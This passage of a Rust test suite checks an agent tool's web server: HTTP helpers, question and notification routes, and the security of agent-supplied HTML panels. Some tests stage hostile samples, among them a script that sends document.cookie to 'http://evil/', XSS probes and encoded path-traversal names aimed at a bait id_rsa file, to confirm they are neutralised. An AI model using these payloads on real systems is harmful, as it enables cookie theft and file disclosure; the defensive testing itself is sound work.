7091 }
7092
7093 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7095 request_bytes(self.addr, path, headers, body).await
7096 }
7097 }
7098
7099 struct Res {
7100 status: u16,
7101 headers: String,
7102 head: String,
7107 body: String,
7108 bytes: Vec<u8>,
7112 }
7113
7114 impl Res {
7115 fn json(&self) -> Value {
7116 serde_json::from_str(&self.body)
7117 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7118 }
7119
7120 fn header(&self, name: &str) -> Option<&str> {
7122 self.head.lines().find_map(|line| {
7123 let (key, value) = line.split_once(':')?;
7124 key.trim()
7125 .eq_ignore_ascii_case(name)
7126 .then(|| value.trim_start().trim_end_matches('\r'))
7127 })
7128 }
7129 }
7130
7131 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7134 request_with(addr, method, path, body, &[]).await
7135 }
7136
7137 async fn request_with(
7141 addr: SocketAddr,
7142 method: &str,
7143 path: &str,
7144 body: Option<&str>,
7145 extra: &[(&str, &str)],
7146 ) -> Res {
7147 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7148 for (name, value) in extra {
7149 head.push_str(&format!("{name}: {value}\r\n"));
7150 }
7151 if let Some(body) = body {
7152 head.push_str("Content-Type: application/json\r\n");
7153 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7154 }
7155 head.push_str("\r\n");
7156 if let Some(body) = body {
7157 head.push_str(body);
7158 }
7159 let mut socket = tokio::net::TcpStream::connect(addr)
7160 .await
7161 .expect("connect to the test server");
7162 socket
7163 .write_all(head.as_bytes())
7164 .await
7165 .expect("write request");
7166 let mut raw = Vec::new();
7167 socket.read_to_end(&mut raw).await.expect("read response");
7168 let split = raw
7171 .windows(4)
7172 .position(|w| w == b"\r\n\r\n")
7173 .expect("a header block");
7174 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7175 let bytes = raw[split + 4..].to_vec();
7176 let status = head
7177 .lines()
7178 .next()
7179 .and_then(|line| line.split_whitespace().nth(1))
7180 .and_then(|code| code.parse().ok())
7181 .expect("a status line");
7182 Res {
7183 status,
7184 headers: head.to_lowercase(),
7185 head,
7186 body: String::from_utf8_lossy(&bytes).into_owned(),
7187 bytes,
7188 }
7189 }
7190
7191 async fn request_bytes(
7197 addr: SocketAddr,
7198 path: &str,
7199 headers: &[(&str, &str)],
7200 body: &[u8],
7201 ) -> Res {
7202 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7203 for (name, value) in headers {
7204 head.push_str(&format!("{name}: {value}\r\n"));
7205 }
7206 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7207 let mut socket = tokio::net::TcpStream::connect(addr)
7208 .await
7209 .expect("connect to the test server");
7210 socket
7211 .write_all(head.as_bytes())
7212 .await
7213 .expect("write request head");
7214 socket.write_all(body).await.expect("write request body");
7215 let mut raw = Vec::new();
7216 socket.read_to_end(&mut raw).await.expect("read response");
7217 let split = raw
7218 .windows(4)
7219 .position(|w| w == b"\r\n\r\n")
7220 .expect("a header block");
7221 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7222 let bytes = raw[split + 4..].to_vec();
7223 let status = head
7224 .lines()
7225 .next()
7226 .and_then(|line| line.split_whitespace().nth(1))
7227 .and_then(|code| code.parse().ok())
7228 .expect("a status line");
7229 Res {
7230 status,
7231 headers: head.to_lowercase(),
7232 head,
7233 body: String::from_utf8_lossy(&bytes).into_owned(),
7234 bytes,
7235 }
7236 }
7237
7238 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7240 let mut state = RunState::new(
7241 PathBuf::from("/repo/magi"),
7242 "main".to_owned(),
7243 "0123456789abcdef".to_owned(),
7244 "Add a web UI\n\nMobile first.".to_owned(),
7245 Config::default(),
7246 );
7247 state.id = id.to_owned();
7248 state.status = status;
7249 let dir = runs.join(id);
7250 std::fs::create_dir_all(&dir).expect("run dir");
7251 std::fs::write(
7252 dir.join("run.json"),
7253 serde_json::to_string_pretty(&state).expect("serialize run"),
7254 )
7255 .expect("write run.json");
7256 }
7257
7258 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7262 let mut state = RunState::new(
7263 PathBuf::from(repo),
7264 "main".to_owned(),
7265 "0123456789abcdef".to_owned(),
7266 "task".to_owned(),
7267 Config::default(),
7268 );
7269 state.id = id.to_owned();
7270 state.status = status;
7271 let dir = runs.join(id);
7272 std::fs::create_dir_all(&dir).expect("run dir");
7273 std::fs::write(
7274 dir.join("run.json"),
7275 serde_json::to_string_pretty(&state).expect("serialize run"),
7276 )
7277 .expect("write run.json");
7278 }
7279
7280 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7281 let body = serde_json::json!({
7282 "schema": 1,
7283 "pid": 4242,
7284 "started_at": Timestamp::now().to_string(),
7285 "updated_at": updated_at.to_string(),
7286 "idle": false,
7287 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7288 "completed": 7,
7289 "polls": 143,
7290 });
7291 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7292 }
7293
7294 fn launch_idle(
7304 _opts: daemon::Opts,
7305 stop: daemon::Stop,
7306 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7307 Box::pin(async move {
7308 while !stop.stopped() {
7309 tokio::time::sleep(Duration::from_millis(2)).await;
7310 }
7311 Ok(())
7312 })
7313 }
7314
7315 fn launch_broken(
7318 _opts: daemon::Opts,
7319 _stop: daemon::Stop,
7320 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7321 Box::pin(async {
7322 Err(anyhow::anyhow!(
7323 "publish the daemon status file: read-only file system"
7324 ))
7325 })
7326 }
7327
7328 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7335 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7336
7337 fn launch_knocking_on_the_way_out(
7344 _opts: daemon::Opts,
7345 stop: daemon::Stop,
7346 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7347 Box::pin(async move {
7348 while !stop.stopped() {
7349 tokio::time::sleep(Duration::from_millis(2)).await;
7350 }
7351 let addr = PARK_KNOCK
7352 .lock()
7353 .expect("park knock")
7354 .expect("the test set an address");
7355 let heard = request(addr, "GET", "/api/health", None).await.status;
7356 *PARK_HEARD.lock().expect("park heard") = Some(heard);
7357 Ok(())
7358 })
7359 }
7360
7361 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7370 for _ in 0..SETTLE_STEPS {
7371 let view = fx.get("/api/loop").await.json();
7372 if want(&view) {
7373 return view;
7374 }
7375 tokio::time::sleep(Duration::from_millis(10)).await;
7376 }
7377 panic!(
7378 "the loop never settled: {}",
7379 fx.get("/api/loop").await.json()
7380 );
7381 }
7382
7383 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7385 let store = fx.questions();
7386 let mut q = Question::new(
7387 "20260902-000000-beef".to_owned(),
7388 "implement".to_owned(),
7389 "impl-A".to_owned(),
7390 summary.to_owned(),
7391 "because it matters".to_owned(),
7392 choices.iter().map(|c| (*c).to_owned()).collect(),
7393 );
7394 store.put(&mut q).expect("put question");
7395 q.id
7396 }
7397
7398 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7404 let store = fx.questions();
7405 let mut q = Question::new(
7406 "20260902-000000-beef".to_owned(),
7407 "land".to_owned(),
7408 "fix".to_owned(),
7409 "Merge this?".to_owned(),
7410 "the diff is in the panel".to_owned(),
7411 vec!["merge".to_owned(), "hold".to_owned()],
7412 );
7413 let staging = fx.home.path().join("staging");
7416 std::fs::create_dir_all(&staging).expect("staging dir");
7417 let sources: Vec<PathBuf> = assets
7418 .iter()
7419 .map(|(name, bytes)| {
7420 let path = staging.join(name);
7421 std::fs::write(&path, bytes).expect("write staged asset");
7422 path
7423 })
7424 .collect();
7425 store
7426 .put_panel(&mut q, html, &sources)
7427 .expect("write the panel");
7428 store.put(&mut q).expect("put question");
7429 q.id
7430 }
7431
7432 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7441 seed_talk_at(&fx.talks(), id, status)
7442 }
7443
7444 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7445 std::fs::create_dir_all(store.root()).expect("talks dir");
7446 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7447 .expect("serialize a seat");
7448 let body = serde_json::json!({
7449 "schema": 1,
7450 "id": id,
7451 "repo": "/repo/magi",
7452 "agent": "mock",
7453 "status": status,
7454 "turns": [],
7455 "created_at": Timestamp::now().to_string(),
7456 "updated_at": Timestamp::now().to_string(),
7457 "seat": seat,
7458 });
7459 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7460 store.get(id).expect("the seeded talk has to be readable");
7461 id.to_owned()
7462 }
7463
7464 #[tokio::test]
7465 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7466 let fx = Fixture::start().await;
7467 let id = panel(
7468 &fx,
7469 "<h1>Merge?</h1><img src=\"diff.svg\">",
7470 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7471 );
7472
7473 for path in [
7474 format!("/api/questions/{id}/panel"),
7475 format!("/api/questions/{id}/asset/diff.svg"),
7476 ] {
7477 let res = fx.get(&path).await;
7478 assert_eq!(res.status, 200, "{path}: {}", res.body);
7479 assert_eq!(
7485 res.header("content-security-policy"),
7486 Some(
7487 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7488 font-src data:; base-uri 'none'; form-action 'none'; \
7489 frame-ancestors 'self'"
7490 ),
7491 "{path} is the only thing between a hostile panel and the tailnet"
7492 );
7493 assert_eq!(
7494 res.header("x-content-type-options"),
7495 Some("nosniff"),
7496 "{path}: a browser must not re-decide the type we sent"
7497 );
7498 assert_eq!(
7499 res.header("referrer-policy"),
7500 Some("no-referrer"),
7501 "{path}: a panel must not leak the question id off the machine"
7502 );
7503
7504 let pre = fx.head(&path).await;
7509 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7510 assert_eq!(
7511 pre.header("content-security-policy"),
7512 res.header("content-security-policy"),
7513 "{path}: the preflight carries the same policy"
7514 );
7515 assert_eq!(
7516 pre.header("content-type"),
7517 res.header("content-type"),
7518 "{path}: the preflight carries the same type"
7519 );
7520 }
7521 }
7522
7523 #[tokio::test]
7524 async fn a_panel_reaches_the_browser_byte_for_byte() {
7525 let fx = Fixture::start().await;
7526 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
7531 let id = panel(&fx, html, &[]);
7532
7533 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7534
7535 assert_eq!(res.status, 200);
7536 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7537 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7538 assert_eq!(
7539 res.header("content-disposition"),
7540 None,
7541 "the panel itself is rendered in the frame, not downloaded"
7542 );
7543 }
7544
7545 #[tokio::test]
7546 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7547 let fx = Fixture::start().await;
7548 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7549 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7550 let id = panel(
7551 &fx,
7552 "<img src=\"diff.svg\"><img src=\"shot.png\">",
7553 &[("diff.svg", svg), ("shot.png", png)],
7554 );
7555
7556 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7557 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7558
7559 assert_eq!(as_svg.status, 200);
7560 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7561 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7566
7567 assert_eq!(as_png.status, 200);
7568 assert_eq!(as_png.header("content-type"), Some("image/png"));
7569 assert_eq!(
7570 as_png.header("content-disposition"),
7571 None,
7572 "a raster image has no execution surface, so tapping it still shows it"
7573 );
7574 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7575 }
7576
7577 #[tokio::test]
7578 async fn an_html_asset_is_never_served_as_html() {
7579 let fx = Fixture::start().await;
7580 let id = panel(
7581 &fx,
7582 "<p>see the notes</p>",
7583 &[
7584 (
7585 "notes.html",
7586 b"<script>fetch('http://evil/'+document.cookie)</script>",
7587 ),
7588 ("hook.js", b"fetch('http://evil/')"),
7589 ("data.json", b"{}"),
7590 ("HEADLINE.TXT", b"plain"),
7591 ],
7592 );
7593
7594 for name in ["notes.html", "hook.js", "data.json"] {
7595 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7596 assert_eq!(res.status, 200, "{name}: {}", res.body);
7597 assert_eq!(
7602 res.header("content-type"),
7603 Some("application/octet-stream"),
7604 "{name} must not be a type the browser will execute or render"
7605 );
7606 }
7607 let txt = fx
7610 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7611 .await;
7612 assert_eq!(
7613 txt.header("content-type"),
7614 Some("text/plain; charset=utf-8")
7615 );
7616 }
7617
7618 #[tokio::test]
7619 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7620 let fx = Fixture::start().await;
7621 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7622 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7626
7627 for encoded in [
7634 "%2e%2e%2fid_rsa",
7635 "..%2fid_rsa",
7636 "..%5cid_rsa",
7637 "%2e%2e%5cid_rsa",
7638 "diff%00.svg",
7639 "..",
7640 ".hidden",
7641 "%2e%2e%2f%2e%2e%2fid_rsa",
7642 ] {
7643 let res = fx
7644 .get(&format!("/api/questions/{id}/asset/{encoded}"))
7645 .await;
7646 assert_eq!(
7647 res.status, 400,
7648 "`{encoded}` has to be refused by name, not looked up: {}",
7649 res.body
7650 );
7651 assert!(res.json()["error"].is_string(), "{}", res.body);
7652 }
7653
7654 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7660 let res = fx
7661 .get(&format!("/api/questions/{id}/asset/{literal}"))
7662 .await;
7663 assert_eq!(
7664 res.status, 404,
7665 "`{literal}` must not match the asset route at all: {}",
7666 res.body
7667 );
7668 }
7669 }
7670
7671 #[tokio::test]
7672 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7673 let fx = Fixture::start().await;
7674 let plain = ask(&fx, "Which backend?", &["SQLite"]);
7675 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7676
7677 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7681 assert_eq!(none.status, 404, "{}", none.body);
7682 assert!(none.json()["error"].is_string(), "{}", none.body);
7683 assert_eq!(
7684 fx.head(&format!("/api/questions/{plain}/panel"))
7685 .await
7686 .status,
7687 404,
7688 "the preflight is the only way the client can learn this"
7689 );
7690
7691 let missing = fx
7693 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7694 .await;
7695 assert_eq!(missing.status, 404, "{}", missing.body);
7696 assert!(missing.json()["error"].is_string(), "{}", missing.body);
7697
7698 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7700 assert_eq!(
7701 fx.get("/api/questions/nope/asset/diff.svg").await.status,
7702 404
7703 );
7704 }
7705
7706 #[tokio::test]
7707 async fn a_run_with_an_open_question_reads_as_waiting() {
7708 let fx = Fixture::start().await;
7709 let run = "20260902-000000-beef".to_owned();
7710 write_run(&fx.runs(), &run, RunStatus::Implementing);
7711
7712 let before = fx.get("/api/runs").await.json();
7713 assert_eq!(before[0]["waiting"], false, "{before}");
7714
7715 let store = fx.questions();
7716 let mut q = Question::new(
7717 run.clone(),
7718 "implement".to_owned(),
7719 "impl-A".to_owned(),
7720 "Which backend?".to_owned(),
7721 String::new(),
7722 vec!["SQLite".to_owned()],
7723 );
7724 store.put(&mut q).expect("put");
7725
7726 let during = fx.get("/api/runs").await.json();
7727 assert_eq!(during[0]["waiting"], true, "{during}");
7728
7729 q.answer(Answer::Choice("SQLite".to_owned()))
7732 .expect("answer");
7733 store.put(&mut q).expect("put");
7734 let after = fx.get("/api/runs").await.json();
7735 assert_eq!(after[0]["waiting"], false, "{after}");
7736 }
7737
7738 #[tokio::test]
7739 async fn an_open_question_is_listed_and_counted_by_health() {
7740 let fx = Fixture::start().await;
7741 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7742
7743 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7744 let listed = fx.get("/api/questions").await.json();
7745 assert_eq!(listed.as_array().expect("array").len(), 1);
7746 assert_eq!(listed[0]["id"], id);
7747 assert_eq!(listed[0]["status"], "open");
7748 assert_eq!(listed[0]["choices"][1], "Redis");
7749 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7752 }
7753
7754 #[tokio::test]
7755 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7756 let fx = Fixture::start().await;
7757 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7758 let path = format!("/api/questions/{id}/answer");
7759
7760 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7761 assert_eq!(res.status, 200, "{}", res.body);
7762 let body = res.json();
7763 assert_eq!(body["status"], "answered");
7764 assert_eq!(body["answer"]["choice"], "Redis");
7765
7766 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7770 assert_eq!(again.status, 409, "{}", again.body);
7771 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7772 }
7773
7774 #[tokio::test]
7775 async fn saying_something_appends_a_turn_without_answering() {
7776 let fx = Fixture::start().await;
7777 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7778 let path = format!("/api/questions/{id}/say");
7779
7780 let res = fx
7781 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7782 .await;
7783 assert_eq!(res.status, 200, "{}", res.body);
7784 let body = res.json();
7785 assert_eq!(body["status"], "open", "talking back is not a decision");
7786 assert_eq!(body["answer"], Value::Null);
7787 assert_eq!(body["thread"][0]["who"], "operator");
7788 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7789 assert_eq!(body["waiting_on_agent"], true);
7790 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7792 }
7793
7794 #[tokio::test]
7795 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
7796 let fx = Fixture::start().await;
7797 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7798
7799 let list = fx.get("/api/questions").await.json();
7800 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
7801
7802 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
7803 assert_eq!(res.status, 409, "{}", res.body);
7804 let q = fx.questions().get(&id).unwrap();
7805 assert!(q.status.open());
7806 assert!(q.consult.is_none());
7807 }
7808
7809 #[tokio::test]
7810 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
7811 let fx = Fixture::start().await;
7812 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7813 let cfg = Config {
7814 agents: vec![crate::config::AgentSpec {
7815 id: "mock".to_owned(),
7816 kind: crate::config::AgentKind::Command,
7817 model: None,
7818 command: vec!["true".to_owned()],
7819 extra_args: Vec::new(),
7820 env: Default::default(),
7821 prompt_delivery: None,
7822 }],
7823 ..Config::default()
7824 };
7825 let talk = crate::talk::begin(
7826 &fx.talks(),
7827 &cfg,
7828 fx.home.path().to_path_buf(),
7829 Some("mock"),
7830 )
7831 .unwrap();
7832 let mut task = Task::new(
7833 "t".to_owned(),
7834 "Do it".to_owned(),
7835 PathBuf::from("/repo/magi"),
7836 Source::Agent {
7837 run: talk.id.clone(),
7838 node: crate::queue::CHAT_NODE.to_owned(),
7839 },
7840 );
7841 task.start("20260902-000000-beef".to_owned());
7842 fx.queue().put(&mut task).unwrap();
7843
7844 let list = fx.get("/api/questions").await.json();
7845 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
7846 assert_eq!(
7847 list[0]["choices"],
7848 serde_json::json!(["SQLite", "Redis"]),
7849 "the hand-over is never a choice"
7850 );
7851 let _ = id;
7852 }
7853
7854 #[tokio::test]
7855 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
7856 let fx = Fixture::start().await;
7857 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7858 let cfg = Config {
7859 agents: vec![crate::config::AgentSpec {
7860 id: "mock".to_owned(),
7861 kind: crate::config::AgentKind::Command,
7862 model: None,
7863 command: vec!["true".to_owned()],
7864 extra_args: Vec::new(),
7865 env: Default::default(),
7866 prompt_delivery: None,
7867 }],
7868 ..Config::default()
7869 };
7870 let repo = fx.home.path().join("chat-repo");
7872 std::fs::create_dir_all(&repo).unwrap();
7873 let toml = repo.join("magi.toml");
7874 std::fs::write(&toml, "this is = = not toml").unwrap();
7875 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
7876 let mut task = Task::new(
7877 "t".to_owned(),
7878 "Do it".to_owned(),
7879 PathBuf::from("/repo/magi"),
7880 Source::Agent {
7881 run: talk.id.clone(),
7882 node: crate::queue::CHAT_NODE.to_owned(),
7883 },
7884 );
7885 task.start("20260902-000000-beef".to_owned());
7886 fx.queue().put(&mut task).unwrap();
7887
7888 let path = format!("/api/questions/{id}/consult");
7889 let res = fx.post(&path, None).await;
7890 assert!(res.status >= 400, "{}", res.body);
7891 assert!(fx.questions().get(&id).unwrap().consult.is_none());
7892 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
7893
7894 std::fs::write(&toml, "").unwrap();
7895 let res = fx.post(&path, None).await;
7896 assert_eq!(res.status, 202, "{}", res.body);
7897 assert!(fx.questions().get(&id).unwrap().consult.is_some());
7898 }
7899
7900 #[tokio::test]
7901 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
7902 let fx = Fixture::start().await;
7903 let store = fx.questions();
7904 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7905 assert_eq!(
7906 fx.get("/api/health").await.json()["questions_needs_owner"],
7907 1
7908 );
7909
7910 let res = fx
7916 .post(
7917 &format!("/api/questions/{id}/say"),
7918 Some(r#"{"body":"why not Postgres?"}"#),
7919 )
7920 .await;
7921 assert_eq!(res.status, 200, "{}", res.body);
7922 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7923 assert_eq!(
7924 fx.get("/api/health").await.json()["questions_needs_owner"],
7925 0,
7926 "waiting on the agent is not waiting on the owner"
7927 );
7928
7929 let mut q = store.get(&id).expect("get");
7933 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
7934 .expect("reply");
7935 store.put(&mut q).expect("put");
7936 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7937 assert_eq!(
7938 fx.get("/api/health").await.json()["questions_needs_owner"],
7939 1,
7940 "the agent's reply is what should light the banner back up"
7941 );
7942 }
7943
7944 #[tokio::test]
7945 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
7946 let fx = Fixture::start().await;
7947 let store = fx.questions();
7948
7949 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7950 let res = fx
7951 .post(
7952 &format!("/api/questions/{empty_id}/say"),
7953 Some(r#"{"body":" "}"#),
7954 )
7955 .await;
7956 assert_eq!(res.status, 400, "{}", res.body);
7957
7958 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7959 let mut answered = store.get(&answered_id).expect("get");
7960 answered
7961 .answer(Answer::Choice("SQLite".to_owned()))
7962 .expect("answer");
7963 store.put(&mut answered).expect("put");
7964 let res = fx
7965 .post(
7966 &format!("/api/questions/{answered_id}/say"),
7967 Some(r#"{"body":"still there?"}"#),
7968 )
7969 .await;
7970 assert_eq!(res.status, 409, "{}", res.body);
7971
7972 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7973 let mut abandoned = store.get(&abandoned_id).expect("get");
7974 abandoned.abandon("timed out");
7975 store.put(&mut abandoned).expect("put");
7976 let res = fx
7977 .post(
7978 &format!("/api/questions/{abandoned_id}/say"),
7979 Some(r#"{"body":"still there?"}"#),
7980 )
7981 .await;
7982 assert_eq!(res.status, 409, "{}", res.body);
7983 }
7984
7985 #[tokio::test]
7986 async fn an_answer_the_question_does_not_offer_is_refused() {
7987 let fx = Fixture::start().await;
7988 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7989 let path = format!("/api/questions/{id}/answer");
7990
7991 for body in [
7992 r#"{"choice":"Postgres"}"#,
7993 r#"{"text":"whatever you think"}"#,
7994 r#"{"choice":"Redis","text":"both"}"#,
7995 r#"{}"#,
7996 ] {
7997 let res = fx.post(&path, Some(body)).await;
7998 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
7999 assert!(res.json()["error"].is_string(), "{}", res.body);
8000 }
8001 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8003 }
8004
8005 #[tokio::test]
8006 async fn a_free_text_question_takes_text_and_not_a_choice() {
8007 let fx = Fixture::start().await;
8008 let id = ask(&fx, "What should the flag be called?", &[]);
8009 let path = format!("/api/questions/{id}/answer");
8010
8011 assert_eq!(
8012 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8013 400
8014 );
8015 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8016 assert_eq!(res.status, 200, "{}", res.body);
8017 assert_eq!(res.json()["answer"]["text"], "--json");
8018 }
8019
8020 #[tokio::test]
8021 async fn an_unknown_question_is_a_json_404() {
8022 let fx = Fixture::start().await;
8023 let res = fx
8024 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8025 .await;
8026 assert_eq!(res.status, 404, "{}", res.body);
8027 assert!(res.json()["error"].is_string());
8028 }
8029
8030 #[tokio::test]
8031 async fn notifications_list_read_dismiss_and_health_agree() {
8032 let fx = Fixture::start().await;
8033 let store = Notices::at(fx.home.path().join("notifications"));
8034 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8035 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8036
8037 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8038 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8039
8040 let health = fx.get("/api/health").await.json();
8041 assert_eq!(health["notifications_unread"], 2);
8042 assert_ne!(
8043 health["notifications_rev"], rev0,
8044 "the badge must move live"
8045 );
8046
8047 let listed = fx.get("/api/notifications").await.json();
8048 assert_eq!(listed["unread"], 2);
8049 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8050 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8051
8052 let read = fx
8053 .post(&format!("/api/notifications/{}/read", a.id), None)
8054 .await;
8055 assert_eq!(read.status, 200, "{}", read.body);
8056 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8057
8058 let gone = fx
8059 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8060 .await;
8061 assert_eq!(gone.status, 200, "{}", gone.body);
8062 let listed = fx.get("/api/notifications").await.json();
8063 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8064 assert_eq!(listed["unread"], 0);
8065
8066 store.raise(Notice::info("x", "again")).unwrap();
8067 let all = fx.post("/api/notifications/read-all", None).await;
8068 assert_eq!(all.status, 200, "{}", all.body);
8069 assert_eq!(all.json()["marked"], 1);
8070 assert_eq!(
8071 fx.get("/api/health").await.json()["notifications_unread"],
8072 0
8073 );
8074
8075 let missing = fx.post("/api/notifications/nope/read", None).await;
8076 assert_eq!(missing.status, 404, "{}", missing.body);
8077 assert!(missing.json()["error"].is_string());
8078 }
8079
8080 #[tokio::test]
8087 async fn a_task_cannot_be_filed_over_the_phone_directly() {
8088 let f = Fixture::start().await;
8089
8090 let res = f
8091 .post(
8092 "/api/queue",
8093 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8094 )
8095 .await;
8096
8097 assert_eq!(
8098 res.status, 405,
8099 "POST /api/queue must not be a route: {}",
8100 res.body
8101 );
8102 assert!(
8103 f.queue().list().is_empty(),
8104 "a task filed by a route that does not exist must not reach the disk"
8105 );
8106 assert_eq!(f.get("/api/queue").await.status, 200);
8109 }
8110
8111 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8113 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8114 .expect("checkout dir");
8115 }
8116
8117 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8119
8120 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8121 let tmp = TempDir::new().expect("tempdir");
8122 let repo = tmp.path().join("repo");
8123 std::fs::create_dir_all(&repo).expect("repo dir");
8124 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8125 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8126 if let Some(text) = machine_toml {
8127 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8128 std::fs::write(&machine, text).expect("machine toml");
8129 }
8130 (tmp, repo, machine)
8131 }
8132
8133 #[tokio::test]
8134 async fn settings_get_reports_sources_and_the_advisors_fallback() {
8135 let (_tmp, repo, machine) =
8136 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8137 let f = Fixture::with_repo_and_machine(repo, machine).await;
